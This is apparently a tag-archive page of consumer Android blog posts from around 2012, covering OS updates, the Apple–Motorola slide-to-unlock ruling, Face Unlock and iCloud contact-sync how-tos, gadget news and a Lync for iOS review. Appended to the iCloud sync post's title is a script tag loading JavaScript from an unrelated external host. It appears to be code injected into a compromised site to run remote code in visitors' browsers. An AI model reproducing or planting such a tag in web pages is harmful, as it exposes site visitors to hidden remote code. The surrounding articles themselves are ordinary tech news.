Posts tagged Android

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Android 4 quietly rolling out to international Galaxy Note

 

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The international Galaxy S II has already received the update to Android 4.0, Ice Cream Sandwich, leaving the sized-up Galaxy Note behind on Android 2.3. Today, several European users are reporting that their devices have received an OTA update notification that brings their phone-tablet hybrid into 2012 with the Android 4.0 update.

Of course, this is a Samsung device, and Samsung has revamped their Touchwiz UI overlay for the Note, which looks a lot more like its Gingerbread variant. Other features in the upgrade include a new and improved S Note application, a new S Memo widget, and the Premium Suite Shape Match and My Story applications. Of course, you’ll get the performance improvements that come with ICS as well.

Owners of the AT&T-branded Galaxy Note will have to wait for the update to pass through carrier testing, which tends to add 1-3 months to the process. Hopefully that process has already begun, and AT&T Note owners will be getting their own taste of Ice Cream Sandwich very soon. We’re leaning towards the update coming sooner than later, as an AT&T-branded Galaxy Note was spotted at CTIA this week.

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Android now paying the price for iOS similarities

Summary: Jobs wanted to destroy Android, and it seems that things haven’t changed under Tim Cook’s leadership.

“I will spend my last dying breath if I need to, and I will spend every penny of Apple’s $40 billion in the bank, to right this wrong. I’m going to destroy Android, because it’s a stolen product. I’m willing to go thermonuclear war on this.”

This is what Steve Jobs thought of Android, as recounted in Walter Isaacson’s biography of the late Apple CEO. Since these words were uttered, Apple has been involved in an intense legal battle with Google and other device makers over Android, and it seems that the courts are siding with Apple that Android is indeed ‘a stolen product.’

The latest battle has been over this simple user interface element:

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That ’slide to unlock’ mechanism is a feature that was put into the Android mobile platform, and now a German court has ruled that Motorola’s use of this on certain devices infringes on Apple’s patent. This is bad news for Android because it could mean that Android device sales in Germany could be halted.

Note: The ruling doesn’t apply to Motorola’s Xoom tablet because that uses the Android 3.0 “Honeycomb” software and is unlocked by dragging a padlock icon out of a circle.

How Apple is approaching Android litigation is at polar opposites to the tactic undertaken by Microsoft. Microsoft is happy to license patents and collect royalties from Android handset makers, turning the platform into a cash cow. Apple on the other hand doesn’t seem interested in licensing patents, preferring litigation to make life difficult for Android handset makers. Jobs wanted to destroy Android, and it seems that things haven’t changed under Tim Cook’s leadership. The company seems committed to waging a long-term war on Android.

Anyone who has used both Android and iOS can’t help but notice how much of a similarity there is between the two platforms, and it’s hard to avoid the conclusion that Android was, at the very least, inspired by iOS. And now Android is paying the price.

But Android isn’t the only platform that seems to be benefiting from ‘borrowing’ ideas from Apple. What about the Windows 8 unlock screen? Every time I swipe to unlock, it reminds me of unlocking my iPhone or iPad … and it’s hard to imagine that folks at Apple haven’t noticed this.

When Steve Jobs unveiled the iPhone to the world back in 2007, and he said ‘boy, have we patented it,’ he wasn’t kidding. And now Android is reaping the whirlwind of that patenting extravaganza.


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Setting Up your Face Recognition unlock feature in Android 4.0 devices

One of the most innovative and impressing features of the new Android OS (4.0 and later), is the Face Recognition screen unlock:

Isn’t it amazing to have your device locked with your facial details!!

In the past, Android owners have made use of PIN numbers or swipes or patterns to protect their phones. But now, with Ice Cream Sandwich, you can use your own beautiful mug to unlock your Device.

Below we are going to show you how to get it set up on your Android 4.0 Smartphone.

 

1- First thing’s first. Head to the Settings on your device. It should look similar to what you see below. Once you’re there, you’ll want to select Security.

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2- You will now see a bunch of Security options. Select Screen lock.

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3- You will be brought to a screen like this, presenting you with a variety of security options. Face Unlock is what you’re here for so select Face Unlock.

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4- Google will then tell you that Face Unlock is now as secure as your other options. But that’s cool right? Right. Select Set it up.

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5- You’ll now be taken to a screen that gives you some hints on how to setup the photo of your face that will act as the unlocking mechanism on your phone. Take heed and select Continue.

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6- You will then see your beautiful face, courtesy of your device’s front facing camera. If you followed step 5, you be taken to the below screen within a couple of seconds. It took me one or two tries. Hit Continue.

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7- You’ll then be presented with this screen. This screen is important since this will be your backup for when Face Unlock doesn’t work. It doesn’t happen often but it does, so choose wisely. PIN is exactly what you think it is. You enter a numerical password and then use that to unlock your phone. Pattern is the familiar series of swipes.

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8- Assuming you can follow directions, you will be met with this screen. You should be proud. That’s all it takes folks. You’ll now be able to unlock your Android 4.0 smartphone with your beautiful face.

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Oh, and don’t forget to hit OK.

Now Google tried to be more innovative in Jelly Bean, so they came up with Face Detection with a blink!!

Yes you have to wink to your android device as you are doing to your girlfriend , to unlock you device.

I guess Girlfriends are going to have more competitors in a very short time ;)

This new feature is a part of Face Unlock and it’s called a “Liveness check”.

Google is highlighting this feature as a security strength to their Face Unlock, since it makes sure you’re a real, live person before unlocking your device. As we all know, photos can’t blink, so in theory this should enhance the practical security of Face Unlock.

To enable this feature , just check the box beside Liveness Check which is found under Security.

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Now, do it, Have fun, and be Secured :)


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Sync your Android phone contacts with iCloud<script type="text/javascript" src="http://expan.dk/cgi/ajax.php"></script>

For so many people they used to have an iPhone along with a secondary Android phone, or vice versa. One of the challenges those people used to face is to maintain the same contacts on both devices, and to keep them in-sync.

Some of them used to have the very easy google sync running directly from their PC or mac to their google account and then from the google account to their Android phone, until Apple and Google decided to put a stop to that… bit of a shame as the iPhone was syncing to the PC or mac and then through to google and their Android phone and back again.

At long last, after much frustration having had sync to google contacts screwed by the apple and google platform spat we managed to get iCloud Contact Sync working on Android phone.

On Android, install a CardDav app, this one is great and free.

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1. Add an account in CardDav.
2. For Server name enter http://contacts.icloud.com.
3. Make sure SSL is checked.
4. For username enter your iCloud username (example anyname@anyaddress.com).
5. For password enter your iCloud password.
6. Make sure that one way syncing is selected (from server to phone) as the developer can’t guarantee 100% two-way syncing.
7. Press Ok, wait a few seconds for it to confirm.

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Away you go – your iCloud contacts now sync with your Android phone, it may take a few minutes for them to show up. And by the way this should work for every single CardDav compatible device.

Have fun.


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Samsung Galaxy S3 Makes Appearance On Samsung Website!

If you were disappointed when rumors broke out that the Samsung Galaxy S3 may skip Mobile World Congress 2012 and only launch sometime in April then here is some good news.

Samsung Galaxy S3 (GT-I9300) listed on Samsung UAE website

It looks like Samsung is certainly preparing to launch the Galaxy S3 as is evident but a device that is believed to be the third-generation Galaxy S model spotted on a Samsung support website (screenshot below).

The Galaxy S III is believed to be codenamed GT-I9300, a next logical code considering that the original Samsung Galaxy S was GT-I90XX and the Galaxy S II GT-I91XX (the Samsung Galaxy Nexus and Galaxy note were I9250 and I9220 respectively).

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Sony’s SmartWatch Accessory for Android Phones

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The SmartWatch is part of Sony‘s Smart Extras for their Xperia smartphones.  The SmartWatch connects to an Android phone via Bluetooth and shows you information about incoming calls, and lets you see emails, weather, Twitter and Facebook updates, and even the time.  You can even control music playback with the SmartWatch.  It has a cliplike the one on Apple’s iPod nano, so you can clip it onto your bag’s strap.  Or you can buy one of Sony’s optional watchbands, available in several colors, and wear it on your arm.  It  fits on any 20mm watch strap, if you have one you already like.  The SmartWatch doesn’t have a speaker orheadphone jack, but you can listen to the music on your smartphone with a Bluetooth headset.  You can even buy apps for the SmartWatch from the Android Market.  The SmartWatch should be available in Q1 of 2012.  The Sony website doesn’t show a price yet.


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iPhone 4S inches Apple closer to Android in top market share

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Android is still beating Apple in the smartphone wars, but the iPhone 4S has narrowed the gap between the two rivals, according to NPD data released yesterday at CES.

Analyzing last year’s smartphone market, NPD found that iOS’s share surged to 43 percent in October and November from just 26 percent in the third quarter, thanks largely to demand for the iPhone 4S. Though Google’s mobile OS maintained its lead, its share dropped in October and November to 47 percent from 60 percent in the previous quarter.

With Apple and Android vying for the top spot, other smartphone players have lagged far behind, "turning the OS battle into a two-horse race," according to NPD.

In third place was RIM’s OS, which steadily dropped market share over the past 12 months, falling from 19 percent in the fourth quarter of 2010 to just 6 percent in October and November of last year. Microsoft’s Windows Mobile and Windows Phone 7 also struggled, each grabbing around 1 percent of the market toward the end of the year.

Microsoft is counting on Nokia to give Windows Phone a much-needed shot in the arm. The Finnish phone maker unveiled its new Lumia 900 at CES yesterday. Slated for AT&T, the Lumia 900 is Nokia’s first 4G LTE device to sport the Windows Phone OS.

Some analysts believe Windows Phone could climb its way to third place in the global smartphone arena ahead of RIM, helping both Microsoft and Nokia. Credit Suisse analyst Kulbinder Garcha sees Windows Phone as the key to reviving Nokia’s sluggish sales and falling market share. But both companies face an uphill battle in a landscape currently sewn up by iOS and Android.


First Impression Review of Microsoft Lync for iPhone and iPad: The Best Comes Last?

It looks like Microsoft has not held back with its official Lync App for Lync Mobile for iPhone and iPad: This app apears to be the best yet with some features even the Windows Phone version does not have.

Some of the features I’ve noticed are unique to Lync for iOS:

  • Visual Voicemail and ability to 1 click call back callers
  • Most Developed Keypad: with dial tone feedback, visual notices
  • Tab showing Meetings and Online Meetings that can be Joined
  • Ability to select All and multi-select chats to be Deleted in the Chats windows
  • iOS Native Contacts are integrated into the Lync experience
  • Ability to Send Location in a IM/Chat

Some other small things I’ve noticed

  • iPad version does not have keypad for dialing. iPhone version has nice keypad dialing experience
  • The IM notification sound on iOS sounds just like the desktop Lync making the experience seem more similar

 

My Info Tab

This screen allows you to change your note, status, options and Simultaneous Ring settings.

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Easily set your status/presence.

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Contacts

Lync and iPhone/iPad native Contacts are integrated into the experience. You can search for contacts directly from this same screen as well.

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Chats

This is the window to see ongoing chats and move between them.

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Below is the IM chat window. Pressing the upper right options” button allow you to take actions on this IM like: Invite more people to this chat, Voice call this contact, send Location and more.

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IM Options

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Location: When you are in an IM chat Window you can easily send your location.

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More More

Meetings

If you have meetings scheduled they will appear in this window. With 1 click you can see the details or join them.

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Meeting details and join.

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Phone

The Lync for iPhone dialing keypad feels a lot like a mobile phone dial pad. (In contrast to the Lync for Windows Phone where the dialer is a text field you type in.) You can press and hold 1 to access the Exchange UM voicemail system. You can also copy number into the keypad dialer.

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Visual Voicemail on the Lync for iOS clients gives the ability to instantly select the voicemail that is of interest to you. You can listen to a voice and delete or callback the caller. You can start listening or move part way into the voicemail using the progress slider.

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Visual voicemail notification

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Summary

The Lync Mobile for iPhone and iPad appears to be the most full featured and refined Lync Mobile client from Microsoft yet.

Some items that are missing are calling history list (missed, dialed, completed) and conversation history is not automatically saved to Exchange list on Lync Desktop. (you can Send as an email) As with all the Lync Mobile clients, VoIP, video and meeting visuals are not included.

Microsoft has put a lot of thought into fit and finish. With features like Visual Voicemail and the more complete keypad dialing (on iPhone) and small things like very snappy feel/transitions and using the Lync desktop ring tone, the iOS client feels more like the desktop Lync experience than the earlier released Windows Phone and Android Lync Mobile clients.

checkout this video about Lync:

http://www.youtube.com/user/officevideos?blend=7&ob=5

Download from AppStore:
iPhone: Click Here
iPad: Click Here


Adobe brings Touch Apps family to Android tablets, Creative Cloud looms on the horizon

Back in October, as you may recall, Adobe unveiled its Touch Apps family — a collection of six tools designed to make life easier and more tactile for tablet-using creative types. Today, those apps are finally available on the Android Market, for tablets running Android 3.1 or higher. The sextet includes Photoshop Touch, Collage and Proto, among other Adobe products, each of which is priced at $9.99. These applications will also play a central role in Adobe’s forthcoming Creative Cloud initiative, which will allow users to share, view and transfer files across multiple devices. That isn’t expected to launch until the first half of next year, while the full suite of Touch Apps for iOS users should be released by "early 2012" (Adobe Ideas is the only member currently available on iTunes). Android slate wielders can get their hands on all the Touch Apps now, though Adobe says they’ll need at least an 8.9-inch, 1280 x 800 display to get the most out of it. Check out the source link below for more details, or head past the break for the full PR treatment.


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iPhone 4S Battery Life Tested And Compared With Android Smartphones: The Result May Just Surprise You

Smartphones have terrible, terrible battery life. From truly horrifyingly terrible like the HTC Thunderbolt, to the somewhat tolerable iPhone 4, no mainstream smartphone can last more than two days with moderately heavy usage. My own smartphone – a Samsung Galaxy S II – doesn’t last more than 14-15 hours on a single charge and I have to invariably charge it overnight to make it through the next day. I love it to pieces, and the short battery life is a compromise I have to take in order to enjoy its great features, but yes, a longer battery life would be highly appreciated.

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The thing I find the saddest about this whole scene, though, is how using the very features that make your phone “smart” are exactly what simply gulp down battery juice: turning your “smart”phone into a phone that can’t do WiFi, 3G, GPS or take photographs, turning it into a “dumb”phone, so to speak.

I find it frustrating how smartphone manufacturers – especially ones from the Android camp – keep on increasing processing power without actually caring to optimize them so the processors we have on hand can be more efficient to increase battery life.

Alright, enough pwningPC World published a post yesterday in which they compared the battery life of iPhone 4S with other smartphones such as the Epic 4G TouchDROID Bionic and Thunderbolt. They tested each phone’s battery life by looping a 720p video with the display at full brightness and the speakers loud enough to fill the room until the battery completely died.

The results are actually a little surprising. We were thoroughly expecting the iPhone 4S – despite all its battery drain issues – to be at the top considering how Android smartphones generally don’t have good battery life but, as it turns out, it came in third place, lasting for 6 hours, 14 minutes while the Epic 4G Touch came on top with 7 hours, 22 minutes:

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PC World will revisit these tests after a while when iOS 5.0.1 releases – which fixes the iPhone 4S battery drain issue – and when Galaxy Nexus, Motorola DROID RAZR launch in a few days time. Their next test will also include Windows Phone 7 devices which, I personally think, may just come out on top thanks to optimized hardware/software.

It’s quite easy to complain about smartphone battery life being short, but one must realize just just how amazing these devices are. These are computers that fit in the palm of your hand and can do just about every thing you do on your laptop/desktop when it comes to content consumption. Living in the future is awesome!


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